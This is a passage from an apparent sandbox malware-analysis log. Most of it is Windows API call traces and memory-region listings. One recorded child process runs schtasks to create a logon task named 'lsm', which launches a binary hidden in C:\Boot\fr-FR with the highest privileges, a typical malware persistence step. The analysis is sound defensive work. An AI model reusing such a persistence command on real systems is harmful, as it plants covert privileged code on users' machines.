dwFlags=0x0, lpMem=0x375b10) returned 1 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375b10) returned 0x20 [0083.909] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375b10 | out: hHeap=0x360000) returned 1 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb10) returned 1 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bb10) returned 0x18 [0083.909] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb10 | out: hHeap=0x360000) returned 1 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375b40) returned 1 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375b40) returned 0x20 [0083.910] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375b40 | out: hHeap=0x360000) returned 1 [0083.910] GetProcessHeap () returned 0x360000 [0083.910] GetProcessHeap () returned 0x360000 [0083.910] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375bd0) returned 1 [0083.910] GetProcessHeap () returned 0x360000 [0083.910] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375bd0) returned 0x20 [0083.910] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375bd0 | out: hHeap=0x360000) returned 1 [0083.910] GetProcessHeap () returned 0x360000 [0083.910] GetProcessHeap () returned 0x360000 [0083.910] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375c30) returned 1 [0083.910] GetProcessHeap () returned 0x360000 [0083.910] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375c30) returned 0x20 [0083.911] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375c30 | out: hHeap=0x360000) returned 1 [0083.911] GetProcessHeap () returned 0x360000 [0083.911] GetProcessHeap () returned 0x360000 [0083.911] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375c90) returned 1 [0083.911] GetProcessHeap () returned 0x360000 [0083.911] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375c90) returned 0x20 [0083.911] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375c90 | out: hHeap=0x360000) returned 1 [0083.911] GetProcessHeap () returned 0x360000 [0083.911] GetProcessHeap () returned 0x360000 [0083.911] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375cc0) returned 1 [0083.911] GetProcessHeap () returned 0x360000 [0083.911] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375cc0) returned 0x20 [0083.912] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375cc0 | out: hHeap=0x360000) returned 1 [0083.912] GetProcessHeap () returned 0x360000 [0083.912] GetProcessHeap () returned 0x360000 [0083.912] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb30) returned 1 [0083.912] GetProcessHeap () returned 0x360000 [0083.912] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bb30) returned 0x18 [0083.912] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb30 | out: hHeap=0x360000) returned 1 [0083.912] GetProcessHeap () returned 0x360000 [0083.912] GetProcessHeap () returned 0x360000 [0083.912] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375c00) returned 1 [0083.912] GetProcessHeap () returned 0x360000 [0083.912] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375c00) returned 0x20 [0083.912] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375c00 | out: hHeap=0x360000) returned 1 [0083.912] GetProcessHeap () returned 0x360000 [0083.913] GetProcessHeap () returned 0x360000 [0083.913] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bab0) returned 1 [0083.913] GetProcessHeap () returned 0x360000 [0083.913] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bab0) returned 0x18 [0083.913] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bab0 | out: hHeap=0x360000) returned 1 [0083.913] exit (_Code=0) Thread: id = 185 os_tid = 0xa34 Process: id = "52" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3d1ab000" os_pid = "0xa38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"lsm\" /sc ONLOGON /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4156 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4157 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4158 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4159 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4160 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4161 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4162 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4163 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4164 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4165 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4166 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4167 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4168 start_va = 0x120000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4169 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4170 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4171 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4172 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4173 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4174 start_va = 0x120000 end_va = 0x186fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4175 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4176 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4177 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4178 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4179 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4180 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4181 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4182 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4183 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4184 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4185 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4186 start_va = 0x2b0000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4187 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4188 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4189 start_va = 0x490000 end_va = 0x617fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 4190 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4191 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4192 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4193 start_va = 0x620000 end_va = 0x7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 4194 start_va = 0x7b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 4195 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4196 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4197 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4198 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4199 start_va = 0x1bb0000 end_va = 0x1e7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4200 start_va = 0x2b0000 end_va = 0x32cfff monitored = 0 entry_point = 0x2bcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4201 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 4202 start_va = 0x2b0000 end_va = 0x32cfff monitored = 0 entry_point = 0x2bcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4203 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4206 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4207 start_va = 0x1e80000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 4210 start_va = 0x1f60000 end_va = 0x203efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f60000" filename = "" Region: id = 4211 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4212 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 4213 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4214 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4215 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 4216 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4217 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 4218 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4219 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4245 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 186 os_tid = 0xd04 [0083.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11f820 | out: lpSystemTimeAsFileTime=0x11f820*(dwLowDateTime=0x5ad83ce0, dwHighDateTime=0x1d9eb0c)) [0083.682] GetCurrentProcessId () returned 0xa38 [0083.682] GetCurrentThreadId () returned 0xd04 [0083.682] GetTickCount () returned 0x176a53b [0083.682] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x11f828 | out: lpPerformanceCount=0x11f828*=2489016536192) returned 1 [0083.684] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0083.684] __set_app_type (_Type=0x1) [0083.684] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0083.684] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0083.685] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0083.685] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0083.685] _onexit (_Func=0xff932afc) returned 0xff932afc [0083.685] _onexit (_Func=0xff932b58) returned 0xff932b58 [0083.685] _onexit (_Func=0xff932b80) returned 0xff932b80 [0083.685] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0083.686] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0083.686] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0083.686] _onexit (_Func=0xff932c20) returned 0xff932c20 [0083.686] _onexit (_Func=0xff932c48) returned 0xff932c48 [0083.686] _onexit (_Func=0xff932c70) returned 0xff932c70 [0083.686] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0083.687] WinSqmIsOptedIn () returned 0x0 [0083.687] GetProcessHeap () returned 0x1b0000 [0083.687] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1c7f40 [0083.687] SetLastError (dwErrCode=0x0) [0083.687] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0083.687] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0083.687] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0083.688] VerifyVersionInfoW (in: lpVersionInformation=0x11efe0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11efe0) returned 1 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbab0 [0083.688] lstrlenW (lpString="") returned 0 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x2) returned 0x1cbad0 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c59d0 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbaf0 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5a00 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5a30 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5a60 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5a90 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb10 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5ac0 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5af0 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.688] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5b20 [0083.688] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5b50 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb30 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5b80 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5bb0 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5be0 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5c10 [0083.689] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0083.689] SetLastError (dwErrCode=0x0) [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5c40 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5c70 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5ca0 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5cd0 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5d00 [0083.689] GetProcessHeap () returned 0x1b0000 [0083.690] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb50 [0083.690] _memicmp (_Buf1=0x1cbb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.690] GetProcessHeap () returned 0x1b0000 [0083.690] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x208) returned 0x1cbcf0 [0083.690] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cbcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0083.690] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0083.692] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0083.692] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0083.693] GetProcessHeap () returned 0x1b0000 [0083.693] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x74e) returned 0x1cc2c0 [0083.693] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0083.693] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1cc2c0 | out: lpData=0x1cc2c0) returned 1 [0083.694] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0083.694] VerQueryValueW (in: pBlock=0x1cc2c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11f0c8, puLen=0x11f130 | out: lplpBuffer=0x11f0c8*=0x1cc65c, puLen=0x11f130) returned 1 [0083.696] _memicmp (_Buf1=0x1cbb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.696] _vsnwprintf (in: _Buffer=0x1cbcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11f0a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0083.696] VerQueryValueW (in: pBlock=0x1cc2c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11f138, puLen=0x11f128 | out: lplpBuffer=0x11f138*=0x1cc488, puLen=0x11f128) returned 1 [0083.697] lstrlenW (lpString="schtasks.exe") returned 12 [0083.697] lstrlenW (lpString="schtasks.exe") returned 12 [0083.697] lstrlenW (lpString=".EXE") returned 4 [0083.697] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0083.698] lstrlenW (lpString="schtasks.exe") returned 12 [0083.698] lstrlenW (lpString=".EXE") returned 4 [0083.698] _memicmp (_Buf1=0x1cbb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.698] lstrlenW (lpString="schtasks") returned 8 [0083.698] GetProcessHeap () returned 0x1b0000 [0083.698] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1c5df0 [0083.698] GetProcessHeap () returned 0x1b0000 [0083.698] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccbd0 [0083.698] GetProcessHeap () returned 0x1b0000 [0083.698] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccc00 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccc30 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb70 [0083.699] _memicmp (_Buf1=0x1cbb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xa0) returned 0x1cc0f0 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccc60 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccc90 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cccc0 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cbb90 [0083.699] _memicmp (_Buf1=0x1cbb90, 